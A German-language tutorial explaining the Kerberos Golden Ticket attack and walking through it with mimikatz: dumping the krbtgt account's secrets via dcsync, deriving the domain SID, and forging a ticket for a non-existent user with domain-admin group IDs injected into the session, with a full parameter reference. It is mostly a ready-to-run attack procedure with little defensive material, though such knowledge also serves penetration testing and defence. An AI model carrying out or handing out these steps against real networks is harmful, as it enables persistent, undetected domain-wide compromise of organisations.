Kerberos Golden Tickets
Ist es einem Angreifer gelungen, die Identität des krbtgt-Accounts zu stehlen (z. B. indem er in den Besitz des NTLM-Hashes oder des AES Encryption Keys gelangt ist), kann er mithilfe von mimikatz beliebige Ticket Granting Tickets (TGT) erstellen – auch für nicht existierende Benutzer. Mit einem selbst erstellten TGT ist es einem Angreifer möglich, den Zugang zu gestohlenen Identitäten aufrechtzuerhalten, selbst wenn sich die Passwörter der entsprechenden Accounts in der Zukunft mal ändern. Mimikatz setzt die Lebensdauer eines selbst erzeugten TGT standardmäßig auf 10 Jahre. Solche künstlich (d. h. nicht durch den KDC, sondern mithilfe von mimikatz) erzeugten Ticket Granting Tickets werden „Golden Tickets“ genannt.
Kerberos Golden Ticket Angriff durchführen
Der Befehl zum Auslesen der Geheimnisse des krbtgt Benutzers lautet wie folgt:
lsadump::dcsync /user:krbtgt
Wichtig: Hierzu muss mimikatz mit Domänenadministratorrechten gestartet sein. War das Auslesen erfolgreich, können nun Golden Tickets erzeugt werden. Hierzu muss folgender Befehl im mimkatz ausgeführt werden:
kerberos::golden /domain:DOMÄME /sid:SID /user:USER /groups:GROUPS /ptt
Um die SID der Domäne zu ermitteln führen wir zunächst folgenden Befehl in der Windows Kommandozeile aus:
whoami /user
Als Antwort erhalten wir unsere Benutzer SID. Entfernen wir den letzten Block (in diesem Fall „-1107“), ergibt sich daraus unsere Domänen SID. Nachdem uns nun also die Domänen SID bekannst ist, können wir mit folgendem Befehl unser Golden Ticket erzeugen:
kerberos::golden /domain:whitehat.de /sid:S-1-5-21-3913518516-653834210-1034227736 /aes128:96f7460ed2218d594301ba6535176c45 /user:MichGibtEsNicht /groups:512,513,518,519,520 /ptt
Dabei haben die Paramter folgende Bedeutung:
# Allgemein
/domain - der vollqualifizierte Domainname (FQDN)
/sid - die SID der Domäne (z. B.: S-1-5-21-130452501-2365100805-3685010670)
/user - der Benutzername, für den Sie sich ausgeben wollen
/id - optional - die ID des Benutzers - Standardmäßig: 500 (Administrator)
/groups - optional - ID's der Gruppen, zu denen der Benutzer gehören soll (die erste ist die primäre Gruppe, kommagetrennt) - Standardmäßig: 513,512,520,518,519 (Administrator-Gruppen)
# Schlüssel
/rc4 oder /krbtgt - der NTLM-Hash
/aes128 - der AES128-Schlüssel
/aes256 - der AES256-Schlüssel
# Ziel
/ticket - optional - Dateiname zum Speichern des Tickets - Standardmäßig: ticket.kirbi
/ptt - keine Datei speichern, stattdesen das Golden Ticket in die aktuelle Sitzung injizieren
Hinweis: Bei nicht existierenden Benutzernamen ist eine Verwendung nur 20 Minuten lang möglich, da nach 20 Minuten eine Re-Validierung vorgenommen wird. Während dieser 20 Minuten können jedoch beliebig viele Service-Tickets ausgestellt werden, welche dann mehrere Stunden oder länger gültig sind. Bei existierenden Benutzern hingegen ist die Verwendung so lange möglich, wie bei Erzeugung des TGT angegeben.